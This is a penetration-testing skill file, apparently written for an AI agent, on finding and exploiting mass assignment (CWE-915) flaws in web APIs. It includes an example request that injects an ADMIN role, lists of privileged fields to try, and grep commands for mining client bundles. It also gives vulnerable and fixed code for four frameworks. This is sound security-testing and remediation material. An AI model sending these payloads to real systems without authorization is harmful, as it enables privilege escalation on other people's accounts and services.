Hacktricks-skills mass-assignment-cwe-915

How to find and exploit mass assignment vulnerabilities (CWE-915) for privilege escalation. Use this skill whenever you need to test APIs for insecure object binding, when analyzing self-service endpoints like /api/users/{id} or /profile, when you see JSON responses echoing server-managed fields like roles, isAdmin, status, or permissions, or when you want to enumerate bindable schema from client bundles. Make sure to use this skill for any API security testing involving user profile updates, order modifications, or any PUT/PATCH endpoints that accept JSON bodies.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/mass-assignment-cwe-915/SKILL.MD
source content

Mass Assignment (CWE-915) Testing

Mass assignment (insecure object binding) occurs when an API binds user-supplied JSON directly to server-side models without field allow-listing. This enables privilege escalation by setting fields like

roles
,
isAdmin
,
status
, or ownership attributes.

Quick Start

  1. Find candidate endpoints - Look for self-service update routes
  2. Enumerate schema - Send safe update, observe response structure
  3. Test exploitation - Add privileged fields to request body
  4. Verify access - Re-authenticate and check for elevated privileges

1. Finding Mass Assignment Candidates

Target Endpoints

Focus on self-service update endpoints:

  • PUT/PATCH /api/users/{id}
  • PATCH /me
    ,
    PUT /profile
  • PUT /api/orders/{id}
  • POST /api/settings
  • Any endpoint that updates user-owned resources

Heuristics That Indicate Vulnerability

  • Response echoes server-managed fields (
    roles
    ,
    status
    ,
    isAdmin
    ,
    permissions
    ) even when not sent
  • Client bundles contain role names/IDs or privileged attribute names
  • Backend accepts unknown fields without rejection
  • Framework uses automatic binding (Rails, Laravel, Django ORM, Spring/Jackson, Express/Mongoose)

Schema Enumeration

Send a normal update with only safe fields to reveal the full schema:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
  "id": 12934,
  "email": "user@example.com",
  "firstName": "Sam",
  "lastName": "Curry"
}

Analyze the response - Look for fields you didn't send:

{
  "id": 12934,
  "email": "user@example.com",
  "firstName": "Sam",
  "lastName": "Curry",
  "roles": null,           // ← Server-managed field
  "status": "ACTIVATED", // ← Server-managed field
  "filters": []
}

2. Exploitation - Role Escalation

Once you identify bindable privileged fields, include them in your update request:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
  "id": 12934,
  "email": "user@example.com",
  "firstName": "Sam",
  "lastName": "Curry",
  "roles": [
    { "id": 1, "description": "ADMIN role", "name": "ADMIN" }
  ]
}

If successful:

  • Response persists the role change
  • Re-authenticate or refresh tokens to realize new privileges
  • Check for new UI elements, admin endpoints, or elevated permissions

Common Privileged Fields to Test

roles, role, role_id, roleIds
isAdmin, is_admin, admin, admin_flag
status, account_status, user_status
permissions, permission_ids, feature_flags
owner_id, team_id, organization_id
verified, is_verified, email_verified
balance, credit, points, currency

3. Client Bundle Recon

Extract role names, IDs, and schema hints from JavaScript bundles:

# Basic role enumeration
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

# Find role constants and dropdowns
grep -oE '"(role|admin|permission|status)[^"]*"' app.*.js | sort -u

# Look for numeric role IDs
grep -oE 'role.*[0-9]+' app.*.js | head -20

# Find DTO/model shapes
grep -oE 'role.*:.*\{[^}]+\}' app.*.js | head -10

What to look for:

  • Role name constants (ADMIN, STAFF, MODERATOR)
  • Dropdown option lists with role values
  • Validation schemas showing expected field names
  • API client code showing request/response shapes

4. Framework-Specific Patterns

Node.js (Express + Mongoose)

Vulnerable:

app.put('/api/users/:id', async (req, res) => {
  const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
  res.json(user);
});

Test: Send

roles
or
isAdmin
in body - if persisted, vulnerable.

Fix: Use allow-list extraction:

const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });

Ruby on Rails

Vulnerable:

def update
  @user.update(params[:user]) # roles/is_admin can be set by client
end

Test: Include

role
or
is_admin
in params - if persisted, vulnerable.

Fix: Strong parameters:

def user_params
  params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

Vulnerable:

protected $guarded = []; // Everything mass-assignable

Test: Send any field in JSON body - if persisted, vulnerable.

Fix: Explicit fillable:

protected $fillable = ['first_name', 'last_name', 'nick_name'];

Spring Boot (Jackson)

Vulnerable:

public User update(@PathVariable Long id, @RequestBody User u) {
  return repo.save(u);
}

Test: Send

roles
or
admin
fields - if persisted, vulnerable.

Fix: Use DTO with only allowed fields:

record UserUpdateDTO(String firstName, String lastName, String nickName) {}

5. Testing Workflow

Step-by-Step Process

  1. Identify endpoints - Find all PUT/PATCH routes that update user resources
  2. Baseline request - Send update with only safe fields, capture full response
  3. Schema analysis - Note all server-managed fields in response
  4. Payload crafting - Build test payloads with each privileged field
  5. Exploitation attempt - Send crafted payloads, check if changes persist
  6. Verification - Re-authenticate, check for elevated access
  7. Documentation - Record vulnerable endpoints and payloads

Quick Test Script

Use the

scripts/find-mass-assignment-fields.sh
script to extract potential target fields from client bundles:

./scripts/find-mass-assignment-fields.sh <bundle-file.js>

6. Reporting

When documenting mass assignment vulnerabilities:

  1. Endpoint - Full URL and HTTP method
  2. Vulnerable fields - List of fields that can be modified
  3. Impact - What privileges can be escalated (e.g., user → admin)
  4. Proof of concept - Request/response showing exploitation
  5. Remediation - Framework-specific fix recommendations

References